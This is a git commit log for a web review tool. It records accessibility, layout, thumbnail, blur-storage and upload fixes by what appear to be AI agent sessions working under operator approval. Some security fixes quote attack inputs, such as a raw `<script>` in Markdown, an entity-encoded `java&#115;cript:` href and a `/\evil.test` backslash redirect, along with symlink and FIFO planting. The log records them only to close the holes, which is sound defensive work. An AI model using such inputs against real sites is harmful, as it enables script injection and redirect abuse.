98 Commits
Author SHA1 Message Date
vh a22a00b82e memory: S5b merged on the operator's word; the r2_flow C3 amendment joins what booth-dev owes 2026-09-28 16:28:34 -07:00
vh 0233ca64fb fix(as-S5b): focus survives a swap, a status line you can see, drafts that ask before they go
The in-place client half of the anti-slop interaction work (guidelines
G1, G2, G4, G13). It still never re-POSTs, still serializes saves, and a
batch still never reloads.
- Focus: the focused element is recorded by identity (its region, its
  key, which same-key element it was) and the fresh one is focused
  without scrolling. If an answered pick's form folds into a closed
  <details>, focus goes to its summary; if nothing is left, to the region
  (tabindex=-1, set by the script). Focus outside the swapped regions
  is not touched.
- One status line per page (_status.html). It floats at the bottom
  centre, above the fixed review stage, so it moves nothing and is in view
  wherever the reader is. Wider than 900px, the letterhead and footer the
  review covers leave the Tab order (visibility:hidden, CSS only).
- The line is never hidden: empty, it takes no space and stays displayed.
  "Saving…" at the press, "Still saving…" on a repeat press, "Saved." when
  the swap lands (cleared after 2s if still the same write), and warnings
  with data-tone="warn". Every write sets or clears the tone. The form in
  flight carries aria-busy until its save settles.
- The client never reloads over a draft: both of its reloads run only
  when every in-place form is clean except the one just sent, unchanged
  since its press, asked again at the reload beat; otherwise it says so
  and stays. A beforeunload guard asks when an in-place form is dirty (its
  own reload does not ask). The embed asks when one of our answers is
  unsent, and skips the pressed form on its own one-form submit.
- Six booth-dev browser tests read the line's hidden state; they read
  its words and tone instead. Two r2_submit_all.toml rows are re-anchored
  to the same failure in the moved code.
Folded from the heid bug-hunt (panel 4/4, thread 01M3MRTNTWEPJHTN4APRR81KH4):
- aria-busy mirrors which forms are in flight on the LIVE page. It is set
  at the press and re-synced whenever a save settles, so it ends on every
  path (a stale tile the swap never replaced included), and a queued form
  replaced by an earlier swap is marked busy again.
- A press inside the reload beat cancels the reload.
- A failure that stayed is said again after an unrelated save, rather
  than buried under "Saved.".
- A 204 followed by a failed page GET is "Saved.", never "could not save".
- An edit made while its save flew is said to be unsaved.
- A focused <summary> has a key.
- The queue settles on rejection.
- The embed's skip covers the one navigation its submit starts; a
  cancelled submit, or one that leaves the page in place, is guarded
  again.
- Pinned: no in-place form holds a control dirty() cannot read, and no
  region nests in another.
Folded from this slice's gate: the status line floats (fixed, bottom
centre, above the review stage) instead of sitting at the top of <main>
or under the viewer's bar. In the flow, every save's "Saving…" moved the
page; booth-dev's test_a_flag_lands_in_place_and_every_region_catches_up
caught a 50px jump. The viewers' grids are back as they were.

Contract: as_antislop S5b (heid contract review and bug-hunt folded).
Falsifiers: antislop.toml S5b sections.
2026-09-28 15:42:37 -07:00
vh 9a97cbdf0c memory: the anti-slop stack merged on the operator's word; what booth-dev still owes after S5b 2026-09-28 15:31:27 -07:00
vh 1080ec1270 memory: 50bfc7b and 190a75a pushed on the operator's word 2026-09-28 15:31:17 -07:00
vh 7143fae6c7 fix(as-S5a): fixup from booth-dev's gate — release asks, fail-closed words, ids that cannot collide
From booth-dev's hulda bug-hunt with heid's second voice (BRINGA, thread
01M3MVGQ7QSCCK8WT59TQ4J469):
- The booth page's "kept — release" asks by name, as the Desk's does.
- WORDS has no prototype: data-confirm="__proto__" or "constructor" is an
  unknown word, and asks, instead of throwing before preventDefault.
- The confirm helper moved into <head>: its capture listener exists
  before any form, so a click during load is asked too (the inline
  confirm() it replaced had that property).
- shown() also marks U+2028/U+2029 and the zero-width characters.
- Derived ids take ':' (bk-ask-<id>-<key>:prompt, bk-ask-<id>:title), which
  no id or key can contain; '-prompt' and '-title' collided with valid
  keys. booth-dev's chip test now looks its fragment up by [id=...].
- human_dur says "—" for a value that is not finite, instead of raising.
- The tile's copy of a note drops its id (booth-dev: mark-<id> is the
  panel's article).
- Four guards that asserted source patterns now also hold on computed
  effects: embed rings, rings inside clipping containers, the withdraw ×
  on both axes, and question-level notes fields.

Contract: as_antislop S5a (fixup). Falsifiers: antislop.toml 102/102 with
r2_flow.toml 24/24 proved; the full gate follows.
2026-09-28 13:58:52 -07:00
vh d4f64fd7ec fix(as-S5a): every control named, one h1 and a skip link, rings and hit areas
The markup and CSS half of the anti-slop interaction work. The in-place
client is untouched (that is S5b).
- Glyph-only controls carry a name: the withdraw ×s, downloads, open full
  page, the viewers' ✕, the board's pin, copy and remove, the bench's
  remove, the 1:1 toggle ("1:1, natural pixels"). Film-strip and tray
  frames carry the file's name as sr-only text instead of reading "01".
  A Desk row's wipe names its booth.
- Fields are named by aria-label, not by their placeholder.
- The inline ask's options are a radiogroup labelled by the prompt; a
  single-question fieldset gets an sr-only legend; a titled ask's title
  takes bk-ask-<id>-title (it duplicated the question's id).
- One h1 per page (sr-only on the Desk, review and compare), a skip link
  to <main id="main">, theme-color for light and dark.
- The review tape is one picture (role=img); its segments leave the tab
  order (the film strip holds the same links, named).
- Wipe now uses the Desk's delegated prompt, moved to base.html: it names
  the booth and asks the kept-booth question for a kept booth.
- Embed focus rings of its own; rings drawn inside clipping containers;
  the withdraw × at least 24px, 44px under a coarse pointer;
  touch-action:manipulation; strips contain their overscroll; a long
  slug wraps on a phone.
- A truncated why carries its full text in title; a countdown of 48h or
  more reads in days.
Two r2_flow.toml rows for the confirm helper now name base.html, where
the helper moved (anchors unchanged; the gate found them drifted).

Contract: as_antislop S5a. Falsifiers: antislop.toml 86/86 proved (S1-S6, S5a);
all 12 tables 366/366 proved on this tree.
2026-09-28 13:30:31 -07:00
vh ec807fe41b fix(as-S6): the operator's rulings — sentence tagline, no side stripe, matte dot, stripe on ::before
Operator, 2026-09-28: "go with your recommendations".
- Tagline: 'held for review · wipes in {ttl}h unless kept', mono, muted,
  12px, sentence case ("ephemeral" goes, as agreed with booth-dev).
- 'Needs you' rows lose the 3px side stripe; the '? N OPEN' stamp says it.
  The flagged filmstrip frame keeps its bottom stripe.
- The brand dot is matte (glow = live power; a live bench keeps its glow).
- Wipe now and the armed bulk delete carry the hazard stripe on a 3px
  ::before, so the button's own background is honestly what sits under its
  text; the stripe renders as before.

Contract: as_antislop S6. Falsifiers: antislop.toml 49/49 proved (S1-S4, S6);
all 12 tables 329/329 proved on this tree.
2026-09-28 13:30:31 -07:00
vh 1d6821b732 fix(as-S4): reading measure — prose at 72ch, headings step by ~1.2
From the anti-slop run (design-dev, 2026-09-28). A rendered doc ran 110-120
characters a line and its h3 sat at 1.08x its body. Prose blocks in
.markdown-body are capped at 72ch (pre and tables keep the full width, where
they scroll), and h3/h2/h1 step at 1.2/1.44/1.73em. Measured in a real
browser: a long paragraph now reads under 76 characters across, and every
heading step is >= 1.18.

Contract: as_antislop S4. Falsifiers: antislop.toml 43/43 proved (S1-S4);
all 12 tables 323/323 proved on this tree.
2026-09-28 13:30:31 -07:00
vh 44b80e6d9a fix(as-S3): phone layouts — nothing overprints, no word set narrower than itself
From the anti-slop run (design-dev, 2026-09-28). Measured in a real browser
at 390x844 (tests/test_antislop_browser.py), because a layout claim read off
a stylesheet is a guess.

- Bench rows wrap at <=600px (state + name/URL, then who/when/actions); the
  name's column was squeezed to ~53px and overprinted the owner and date.
- The board head and the benches head drop their note under the count, so
  "33 links · 1 pinned" / "3 benches" keep one line.
- An inline doc's bar wraps: the name takes the full width and breaks only
  where it must; it was set one word wide.
- A file tile's download link starts below the ordinal badge.
- The review and compare stages drop the tagline at <=600px (the server
  marks them `page-stage` on <html>), so the header is one line; the Desk
  keeps its tagline (the test's negative control).

Not changed, with reasons in the contract: `.vname` already ellipsises, and
the filmstrip's clipped edge frame is the scroller's "more" cue.
Contract: as_antislop S3. Falsifiers: antislop.toml 41/41 proved (S1-S3);
all 12 tables 321/321 proved on this tree.
2026-09-28 13:30:31 -07:00
vh 54f3531833 fix(as-S2): legibility — nothing fades, labels 11px, sentences 12px
From the anti-slop run (design-dev, 2026-09-28). Faded is not legible:
opacity divides whatever contrast a line had.

- Review arrows: the chip under the thin chevron is 82% dense, not 60%;
  the glyph now clears 7:1 over a white stage by colour (was 3.84:1), and
  reads at pixel level where the detector sampled a 2.9:1 median.
- Filmstrip numbers, the marks' state stamp and the inline ask's state tag
  are labels at 11px (were 9.5 / 10.5 / 10.5px).
- The Desk's section rules, the board note and the bench note are
  sentences at 12px.
- Retired benches: no opacity; the link and URL take --text-muted.
- Embed chrome: answered-ask details and the "recorded:" line inherit the
  host's text colour at full strength (the embed cannot know the host's
  palette); the notes placeholder inherits it at 75%, not the UA grey.

Folded from the heid bug-hunt: the embed's ask title no longer fades
either (Q9), and the legibility claims are also held on the browser's
COMPUTED style (tests/test_antislop_s2_browser.py): a stylesheet grep
cannot see a later rule in the cascade (font-size:1px, color:transparent,
filter:grayscale, a placeholder at opacity:0); the browser can.

Folded after the first gate run: the flagged tray's number, the tile's
"flagged" stamp and compare's A/B badge were still under the 11px label
floor; they take --size-micro too. Two film-number rows are re-anchored
on the .film-ord selector: the tray's line is now identical to it, and
the runner mutates the first match.

Contract: as_antislop S2. Falsifiers: antislop.toml 34/34 proved (S1+S2);
all 12 tables 314/314 proved on this tree.
2026-09-28 13:30:31 -07:00
vh 09071dcb65 fix(as-S1): the house clock — stamps read 0848, no IPs on the page
The anti-slop run (design-dev, 2026-09-28; operator: "start the fix slices")
found raw ISO stamps with microseconds and offsets, the poster's IP address,
and HH:MM in board rows and <time> tooltips. Operator convention 2026-09-24:
a clock the operator reads is 24-hour local time as four digits, no colon.

- `clock` filter: ISO (any precision, any offset), epoch, or the board's
  `YYYY-MM-DD HH:MM` -> `28 Sep 0848` local, year only when not this year's.
  Never raises; what it cannot read is shown as given. No regex (INV-3).
- `byline` filter: a handle is shown, an IP address is not. Stored `by` and
  `answered_by` are unchanged (u2 still records the client host).
- Applied to the marks' answer and memo lines, the inline ask's state tag
  (so the embed chrome inherits it) and the link board's row time, each in a
  <time> whose datetime= carries the stored value exactly.
- `date_stamp` (the created/updated tooltips) renders `YYYY-MM-DD HHMM`.
Folded from the heid bug-hunt (panel 4/4, thread 01M3MGPFKWBX0SJK5HFE0P3AFM):
clock converts a number inside its guard (an int past float range raised,
Q1); a date or ISO week renders no invented 0000 (Q8); byline also hides
addr:port, [v6]:port, addr/prefix and addresses behind invisible characters
(Q7); the board row's author is bylined (Q5). Refuted: Q3 (default Jinja
Undefined has length 0; the test stays as a StrictUndefined guard).
Accepted with reasons: Q4, Q6.

Contract: docs/contracts/as_antislop.contract.md S1. Falsifiers: antislop.toml 15/15 proved (S1);
all 12 tables 295/295 proved on this tree.
2026-09-28 13:30:31 -07:00
vh 190a75a0e1 fix(docs): a posted doc cannot run script on the Booth's origin
Found by design-dev's impeccable run and confirmed at source. Python-Markdown
passes raw HTML through, and doc.html and booth.html render the result |safe.
A <script> in any session's .md ran on the Booth's origin, and a contract that
quoted <pre> opened a real one and swallowed the rest of the doc.

Operator ruling: escape raw HTML (not an allowlist).
- render_doc deregisters Python-Markdown's block and inline HTML processors,
  so raw HTML reaches the serializer as text and is escaped there. Fenced and
  inline code are unchanged.
- Every link href in a doc goes through links.is_safe_href after
  browser-style decoding. Python-Markdown keeps character references in
  attributes, so `java&#115;cript:` reached the browser as `javascript:`.
- is_safe_href reads a backslash as a slash, as a browser does in an http(s)
  URL: `/\evil.test` is `//evil.test`. This also closes the hole on the
  link board.
- A render that raises falls back to raw text, which the template escapes.

Two of 19 live .md files render differently. One is a contract losing the
quoted <pre> that swallowed it. The other is links.md, which renders as a
board, not through render_doc.

heid bug-hunt panel (4/4): the core claim held. Its two concrete edges (the
backslash twin, the unbounded render) are fixed here. Table
tests/mutations/doc_html.toml: 9/9 proved. Suite 951 -> 975.
2026-09-28 10:37:36 -07:00
vh 50bfc7b4ec fix(asks): one submit saves every ask on the page
Operator report (via infra-ops): on a page with several asks, a submit
saved only the pressed one and the reload wiped the rest. Confirmed on
auk-audition: one POST at 15:02:23 saved the last ask on the page, then a
400 from the submit of an ask the reload had just blanked.

Client-side on both surfaces; /answer is unchanged. A submit on a pick
form, while another pick form on the page holds unsent input, sends every
changed ("dirty") pick form: one POST each, to its own action, with
Accept: application/json, in document order. A refusal stops nothing, and
untouched forms are never re-sent. With no other dirty form, a submit is
exactly what it was.

- embed.js (verbatim reports): reloads only when nothing was refused and
  nothing of ours is dirty. Otherwise a server-rendered status line in the
  submit block says what did not save, and input stays. A form the server
  took gets a new baseline. A press during the flight is ignored.
- base.html (marks page, lightbox, review rail): one refresh in place. A
  batch never reloads. Only forms the server took count as sent. In-flight
  state and "just sent" are keyed by form identity (formKey) plus the fields
  at the press, not the DOM node.

Two heid bug-hunt rounds: a four-arm panel on the first cut, then Hulda
alone on the fold. Ten findings reproduced red in a browser before their
fixes. Contracts: U3 "Submitting several asks at once" + INV-8, R2 C3
steps 2, 3 and 3a. Mutation tables u3_submit_all (15) and r2_submit_all
(11), all proved. Suite 928 -> 951.
2026-09-27 17:05:11 -07:00
vh 34ac1683ee memory: snapshot for shutdown — nothing in flight; the r3 seam pass and the upload-name lessons split to detail files 2026-09-25 10:51:51 -07:00
vh 1a59242709 memory: r3 arc live and pushed; the upload route's three known gaps 2026-09-24 18:04:37 -07:00
vh 225ba32209 fix(upload): drop what no name can hold BEFORE the dot rule; a cut never manufactures a kind
Heid bug hunt, hulda, second round on 92c774e:

- A lone surrogate was dropped at the final decode, after the leading-dot
  rule had already run, so "\ud800.forever" came out as .forever, the
  keep marker, and "\ud800.." as "..". The NUL and every unencodable
  character now go first, in one pass, so nothing dropped later can shield
  a dot. Starlette decodes a multipart filename strictly (utf-8, else
  latin-1), so this was not reachable over HTTP; the helper is now right by
  construction regardless.
- A suffix too long to keep was cut like text, and the cut could land on a
  shorter suffix that means something: "….png" out of "….pngxxxx…"
  became an image. A cut that changes classify/doc_kind now has its dots
  neutralised.
- The 16-byte extension threshold was unguarded (every test suffix was 4
  bytes); a .jpeg case pins it.

Falsifiers: tests/mutations/upload_names.toml, 7/7 proved. Not taken here,
as they sit in the upload route rather than this helper: the pickup-id
mkdir outside the try (a FileExistsError race), rmtree(ignore_errors)
hiding a failed cleanup, and a CancelledError skipping cleanup.
2026-09-24 17:04:35 -07:00
vh 92c774e105 fix(upload): a NUL or an over-long name never reaches open()
safe_upload_name let two names through that the filesystem cannot hold,
and each raised at open(): a 500 with the booth torn down. A NUL raised
ValueError, and a 200-character cap let 200 two-byte characters overrun
NAME_MAX (255 bytes, ENAMETOOLONG). The NUL is now removed first, so it
cannot shield a leading dot from the hide rule. The cap is 200 UTF-8
bytes, cut on a character boundary, and it comes out of the stem: the
extension is what classify reads, so a name that used to fit (80 CJK
characters) keeps its kind.

The NUL test posts a raw multipart body: httpx percent-escapes a NUL in
files=, so the server would see a literal %00 and the test would prove
nothing. Falsifiers in tests/mutations/upload_names.toml, 4/4 proved.
Found by design-dev's r3 heid bug hunt (hulda).
2026-09-24 16:54:30 -07:00
vh d54bb04414 fix(r3): a NUL in the raw file path is a 404, not a 500
Compare's stages load their pictures through the catch-all file route, which
caught only OSError around resolve(); an embedded NUL raises ValueError. Same
class as resolve_booth's fix in f8d136a (heid bug hunt on the race fix,
hulda). The upload route's NUL-in-filename 500 is the same class and is left
to booth-dev: it is not on compare's path.
2026-09-24 16:33:27 -07:00
vh 64b403f7eb test(r3): re-anchor the review's C-key row on the guarded handler 2026-09-24 16:00:01 -07:00
vh 8633b1dded fix(r3): judge each rel once per request — a side or review item that vanishes mid-request never 500s
booth-dev's race note after the merge: the compare route resolved each side
in _compare_side and again in _compare_ring, then ring.index(a) raised if the
file vanished (or was relinked outside the booth) between the two; the review
did the same through cring.index(f). The compare ring is now built once and
the sides are judged by membership of it. The review re-judges its item and
scans forward for the next comparable one (usually one step, no longer a
resolve of the whole ring per render); an item no longer comparable renders
the review without a Compare control, and C does nothing.

The contract records the once-per-request rule and that the phone-width wrap
covers doc.html's bar too. r3.toml: 59 rows, four re-anchored.
2026-09-24 15:59:43 -07:00
vh cf08ae3f33 docs(roadmap): r3 landed — the compare ring and stepping rules, compare mode off the parking lot
The stale v1.1 line for compare pairing is corrected to the 2026-09-24
ruling (pairs are picked, never detected). persistent-memory records r3
live and unpushed, and the open race note for design-dev.
2026-09-24 15:57:42 -07:00
vh f8d136a521 fix(r3): fold heid's bug hunt — no link offers a pair that 404s, NUL booth names, a FIFO marker, encoded view-state names
Navigation was built from the review ring while the compare GET also demands
containment, so an outside symlink (which stays in the ring) was offered by
the strip, the steps, the review's Compare control and the flag landing, and
404ed on arrival. Every one is now built from the compare ring (the review
ring filtered by the same conjunction, _in_booth).

Two pre-existing gaps compare inherits, fixed at the source: resolve_booth
caught only OSError, so a NUL in the booth segment was a 500; record_view
opened its marker blocking, so a planted FIFO hung every look. Plus: the page
treats %73ide=a as side=a, and the subgrid engine floor is stated. Two
findings refuted (a chorded click mid-drag never fires pointerup, measured;
booth_items never yields an unquotable rel). r3.toml: 57 rows.
2026-09-24 14:39:06 -07:00
vh 23f1bdb41f fix(r3): fold heid's code review — equal stage widths, the axis guard, players, and tests that read the observable
The one drift: the separator was a border on B, making B's stage 1px
narrower than A's; it is now a 1px column gap, so the stages are the same
size to the pixel. Tests now read what the contract promises instead of a
proxy: the strip's ring order, the full bakeoff sequence, 1:1 and Fit by
geometry, the 900px break from both sides, A wrapping, each form naming its
own item, a sibling-prefix symlink, both reveals, the strip's flag, the back
arrow unlinked, a one-axis picture, a focused player, two videos with no
toggle. The contract names .cmp-cap, a press on a stage, INV-4's URL-driven
picker and the redirect branch's isinstance check. r3.toml gains ten rows.
2026-09-24 13:54:29 -07:00
vh 8c7fe77841 feat(r3): compare — two picked rels side by side, linked stepping, synced pan, flag the winner
GET /b/{name}/compare with the conjunction 404 (containment AND the review
ring), both sides recorded as seen, view state (side, link) mapped from a
closed set onto every link, side-keyed regions, and back=compare in
_mark_redirect. compare.html: two stages sharing one set of rows, the strip
as picker (the side active now), linked and per-side stepping, X/L/Z/A/B/C
keys under the review's guards, synced pan by fraction with an echo guard,
per-side blur reveals, JS-off parity.

The stage machinery moves out of view.html into _stage_js.html
(BoothMode.bind, BoothStage.attach), shared by the review and compare. The
review gains a Compare control and a C key. At phone width a full top bar
wraps.

Tables: r2c's 15 stage rows re-pointed to _stage_js.html; r2b's phone
top-bar row re-anchored (the wrap made it vacuous alone); new r3.toml. The
contract records the wrap, equal stages and C on the compare page.
2026-09-24 13:26:11 -07:00
vh 5d785fe3c4 docs(contract): r3 compare — two picked items side by side, linked stepping, synced pan, flag the winner
Restores the contract as it stood at 1593ea2 (proposed a8428dc, booth-dev's
seam pass folded ebd7729/33d9175/05ad6c4, heid's contract panel folded
1593ea2). Those commits lived only in a work clone under /tmp, which the
2026-09-24 reboot wiped; the text is unchanged.
2026-09-24 13:19:22 -07:00
vh 47b39bca53 memory: snapshot for context clear — waiting on design-dev's r3 contract 2026-09-24 08:27:31 -07:00
vh d5ead3f613 memory: the operator kept 768-wide thumbnails 2026-09-24 08:20:50 -07:00
vh 8a78a9bd1d fix(blur): writes are strict, so a set the writer cannot read is never overwritten
groa's late retry on the blur bug-hunt, adjudicated against the landed code.
Its four bugs were already fixed, but a robustness note (mkstemp's 0600 locks
out a reader under another uid, which then "sees nothing and replaces it")
pointed at a real gap. set_blurred built on read_blurred, the renderer's
lenient reader, which turns an unreadable, oversized or malformed
`.blurred.json` into an empty set. The writer then replaced the file, and
whatever it held was gone. This is the `.marks.json` wipe of 2026-09-21 in a
new module, and it shipped for a night.

- `_load` is the one parse with two postures. read_blurred maps its refusal to
  "nothing blurred" (a damaged file costs the blur, never the page).
  set_blurred lets it raise BlurUnwritable, which the route answers with 409
  and the CLI with exit 3, and changes nothing.
- It refuses only for a REGULAR file it cannot read. A link, a directory or a
  FIFO at either name holds no set anyone wrote, so it reads as empty, and the
  postcondition judges whether the write can land: a link is replaced, a
  directory refused.
- The file is 0644 again, as the line-format writer left it (fchmod after
  mkstemp).

The open flags in `_read_capped` became a second layer behind the new lstat
check, and the mutation run caught their rows VACUOUS through the public API.
They are now held to account by direct tests, because they still close the
lstat-to-open race. blur_storage.toml: 25/25. No second panel was run: this
folds one reviewer note plus the repo's own recorded lesson, with a test and
a proved row for each behaviour.
2026-09-24 00:56:25 -07:00
vh 7d4a26f486 memory: r2c live, the push, and a relayed approval that was held 2026-09-24 00:33:41 -07:00
vh fde082e733 merge(r2c): the review stage fills, its arrows sit at the picture, 1:1 pans
design-dev's r2c round, merged on the operator's direct approval. It answers
his ask from 2026-09-23: fit and 1:1 modes, arrows at the image's edge rather
than the stage's, and click-and-pan in 1:1 with native image drag defeated.

- Fit fills the stage, up or down, with or without JS; 1:1 is natural pixels,
  and every pixel is reachable. The operator ruled that Fit may enlarge.
- The toggle shows for every picture. The mode lives on <html> as `stage-one`,
  set by the head script before the stage exists, so a 1:1 reel never flashes
  Fit. It persists per viewer in localStorage (inside a try) and follows other
  tabs.
- The arrows sit 8px outside the drawn picture, clamped inside the stage.
- 1:1 drag-to-pan: grab convention, a 4px threshold, pointer capture, and the
  picture is not draggable.

Templates only (view.html, base.html); no server change. The two test changes
are declared in r2c_review_stage.contract.md: the r2b reveal test asserts "no
blur" (Fit keeps a drop shadow), and the r2_flow 360px-arrow row is retired
with successors in r2c.toml. Contract panel and both code panels 4/4.
2026-09-24 00:30:05 -07:00
vh 7c879e6038 fix(review): the heid code-review and bug-hunt panels on r2c, folded (both 4/4 with retries)
- 1:1 start-aligns. The centred flex item overflowed both sides and the
  start was unreachable; measured, a 3000px picture hid its leftmost
  980px. Auto margins still centre a small picture.
- Drag lifecycle: a move with no button ends the drag, so a press
  released outside the stage never pans on a later hover. Capture is now
  load-bearing in a test. The threshold is 4px of total movement.
- A press on the stage's own scrollbar is never a pan. The arrows clamp
  to the stage's client box, so they are never under a classic
  scrollbar. The test runs a browser without --hide-scrollbars and
  asserts the gutter exists.
- Stacked, the arrows' CSS spot is the stage's centre (30vh), set in
  view.html because base.html lost to the page's later rule.
- The stage reveal is `hidden` until bound, and keeps Fit's drop shadow
  when revealed. A blurred picture composes blur() drop-shadow().
- The mode follows another tab. A failed or unknown size returns the
  arrows to their CSS spot.
- Tests: object-position, vertical centring, the Fit half of
  aria-pressed, a storage read that throws, a large picture's toggle,
  Fit forgetting 1:1, single-axis pan.
- Declared: the r2b reveal test reads "no blur" (the shadow stays), and
  the r2_flow 360px-offset row is retired.

Mutation tables 137/137 across four. 810 passed.
2026-09-24 00:20:15 -07:00
vh 7151a45ec2 feat(review): the review stage fills, its arrows sit at the picture, 1:1 pans (r2c)
The operator: "fit and 1:1 modes as well as moving the forward and back
arrows closer to the edge of the image ... mouse click and pan for 1:1
mode if it exceeds page width (defeat drag drop of image)". Ruled: "Fit
may enlarge."

- Fit: the picture's box is the stage's inner box, and object-fit: contain
  draws it whole at the largest size that fits, up or down, never
  cropped. It works with or without JS. 1:1 is natural pixels.
- The Fit | 1:1 toggle shows for every picture; the per-picture hide is
  gone. It stays hidden without JS.
- The mode persists as `stage-one` on <html>, set by the head script
  before the stage exists, so a 1:1 reel never paints a stage in Fit.
  Anything stored but "one" reads as Fit. Storage never raises.
- The arrows sit wholly outside the DRAWN picture (near edge 8px),
  clamped 8px inside the stage. They sit over the picture only when it
  spans the stage, and never over the rail. They are re-placed on load,
  resize, mode switch and 1:1 scroll, and keep their CSS spot until the
  drawn box is known.
- 1:1 drag-to-pan when the picture overflows either axis: the picture
  follows the pointer, a 4px threshold, pointer capture, grab/grabbing.
  The picture is draggable=false. The stage's reveal button moves out of
  the scrolled content to sit over the stage (a pan carried it off), so
  no control is a pan source.

Contract docs/contracts/r2c_review_stage.contract.md (heid contract
panel 4/4 folded; it changed the no-flash mechanism). Declared test
changes: the Nyx stage-edge arrow test is replaced; the stage class and
the toggle's `hidden` are updated. tests/mutations/r2c.toml 16/16. 803
passed.
2026-09-24 00:20:15 -07:00
vh 0781aa5ee5 docs: a GET of a booth page records a look, so live checks must not sweep :8090
Two sessions' post-deploy sweeps on 2026-09-23 recorded a look at every booth,
which emptied "new since you looked" and collapsed the Desk's last section
into reverse name order. CLAUDE.md now says how to check the live service
without recording anything, and persistent-memory records the Desk ruling and
the three booths it hid.
2026-09-23 23:08:19 -07:00
vh 1d31ab05de merge(thumbs): thumbnails sized for the tile's width at 2x, and a cache that cannot be planted
Operator-approved 2026-09-23 ("fix it, one bigger thumbnail"), after his
report that sindra-nude-final looked "blurry until selected". c2b1454 sizes
thumbnails at 768 wide (the widest desktop tile, doubled for a 2x screen) and
caps them at 4096 tall. A browser test holds the number against the rendered
grid. c19d8c9 folds the heid bug-hunt (4/4 arms, five seat-executed probes):
cache hits must be regular files carrying the source's exact mtime, the cache
dirs never follow a link, the temp file is mkstemp, palette alpha and EXIF
orientation survive, and there is a 64 MP decode budget. 828 passed on the
branch; thumbs.toml 14/14.
2026-09-23 23:07:07 -07:00
vh 6880ab3059 merge(blur): the blur set round-trips any rel, in .blurred.json, with one writer
Operator-ruled 2026-09-23 ("fix the blur"). 4cfbce5 is the fix: a JSON-array
blur set through stdlib-only booth/blur.py, shared by the service and `booth
blur`, plus Item.blurred_self so blur state has one reader. c1f5543 folds the
heid bug-hunt on it (hulda, regin, kimi). The format moves to its own name,
.blurred.json, because sniffing one file for two formats recreated the
wrong-item bug. The writer is judged by its reader, so a planted directory is
a 409 and not a 500. A lone surrogate is dropped, the writer respects the
reader's size cap, and the route and the CLI share one check_rel predicate.
853 passed on the branch; blur_storage.toml 20/20.
2026-09-23 23:07:07 -07:00
vh c19d8c9718 fix(thumbs): fold the heid bug-hunt: a cache that cannot be planted, alpha, orientation
The heid bug-hunt panel on c2b1454 (4/4 arms, five seat-executed probes). The
new size rules governed only cache MISSES; the hit path trusted a name and an
mtime, inside a directory any fleet session can write into.

- A cache hit is a REGULAR file (lstat) carrying its source's EXACT mtime (4/4).
  A planted directory at the cache path was returned as the thumbnail, and a
  source replaced by `cp -p` or an archive extract kept an older stamp that
  `>=` served forever. The encoder now stamps the thumbnail with the source's
  mtime, so any change to the source is a miss.
- The cache directories are made component by component and never through a
  link (seat P4). A `.thumbs` planted as a link put the cache outside the
  booth, beyond the sweep. The booth-mtime restore now keys on creating
  `.thumbs` itself.
- The temp file is mkstemp (4/4, seat P5). The old `<out>.<pid>.tmp` was
  predictable, and a link planted there made the encoder overwrite its target
  (600 B became 316,400 B).
- Palette transparency survives (3/4, seat-executed, and INTRODUCED by
  c2b1454). The fits-but-heavy branch newly re-encoded palette PNGs, and
  getbands() of mode P has no A even with tRNS.
- EXIF orientation is honoured for sizing and for the saved image (groa,
  seat-verified). A camera portrait stored sideways was sized and tiled as a
  landscape.
- A 64 MP decode budget (2/4). A header claims any size, and a failure is not
  cached, so every request re-decoded it.
- The cache name carries the whole rule: width, height cap, quality and an
  encoding version (groa). The width alone would have served stale bytes after
  a quality change.

Declined: the utime-restore failing on a foreign-owned booth (booths are the
service user's), and regin's two solos (the THUMB_MAX export is not imported
anywhere; the live fixture is function-scoped). thumbs.toml: 14/14 proved.
2026-09-23 23:06:45 -07:00
vh c1f5543b77 fix(blur): fold the heid bug-hunt: two file names, a reader-judged writer, one predicate
The heid bug-hunt panel on 4cfbce5 (hulda, regin, kimi; groa timed out) found
four real defects in the round-trip fix, and three of its arms converged on the
worst: it re-created the bug it existed to fix.

- Two names, never a sniffed file (3/3). JSON went into the OLD `.blurred`, and
  the reader guessed the format from the bytes, so a legacy file whose one line
  is an item named `["a.png"]` read as {"a.png"} and blurred the neighbour. The
  set now lives in `.blurred.json`, JSON only. The legacy `.blurred` is read as
  lines only, and only while `.blurred.json` is absent; the first write retires
  it, after the new file is in place.
- A planted directory is a 409, not a 500 (2/3 plus a third angle, executed by
  the seat). The reader was hardened against it and the writer was not:
  os.replace and unlink raised IsADirectoryError through the route. Now the
  writer is judged by its reader: set_blurred re-reads after writing and raises
  BlurUnwritable unless the set on disk is the set asked for. That one check
  covers a directory at either name, a permission and a race.
- A lone surrogate is dropped on read (hulda, executed). `"\ud800"` is a valid
  JSON string that no filename can produce, and the UTF-8 encode raised on it
  at every later write.
- The writer respects the reader's size cap (2/3). Nothing capped the write,
  and the reader reads an oversized file as EMPTY, which reveals everything.
- One predicate, check_rel, for the route and the CLI (2/3). The CLI's `*..*`
  substring guard refused `a..b.png`, which the route accepts. It also refuses
  an empty path now (regin, kimi), and every item is checked before any is
  written.
- `booth blur` fails closed, with a message and exit 3, when its package is
  missing (kimi), as `link` already does.

Declined, with reasons: the Item positional-constructor break (booth_items is
the only constructor, INV-1), the fdopen fd leak and the short read (not
constructible on a local filesystem, and the `.seen` shape), and
unreadable-reads-as-revealed (blur is cosmetic; the `.seen` posture).
blur_storage.toml: 20/20 proved. One row came back VACUOUS on its first run,
because `set() or X` is X, and was rewritten before counting.
2026-09-23 23:01:18 -07:00
vh 64f64889a2 fix(desk): "everything else" is last UPDATED first, not last activity
The operator, on the live Desk: "how is this last activity first?" It was not,
usefully. The section sorted by `_newest_mtime`, which counts a look (`.viewed`),
so opening a booth moved it up. Tonight two post-deploy checks fetched every
booth page within half a second, which recorded 22 looks at once and collapsed
the section into reverse name order through the (mtime, name) tie-break.
Meanwhile each row shows "updated X ago", which is `landed_at`, a different
clock from the one the list was sorted by.

Operator ruling: "last activity can just be last time the booth was updated,
not necessarily operator's last activity." The section now sorts by
`(-landed_at, name)`, the date the row shows, labelled "last updated first".
Looking, flagging and blurring no longer move a booth. `list_booths` keeps its
own order for its other readers, and `_newest_mtime` still feeds lifetime.

The r2_flow contract (§3, the ordering table, INV-5) and ROADMAP's ordering row
are amended to match. Two tests and two r2_flow.toml rows cover it (25/25).
2026-09-23 22:55:10 -07:00
vh c2b1454358 fix(thumbs): size thumbnails for the tile's width at 2x, not 512 on the long side
The operator on sindra-nude-final: "the images look blurry until they're
selected and blown up." The cap was 512px on the LONGEST side, which the
comment called "comfortably above any tile size", and it was, for a square. A
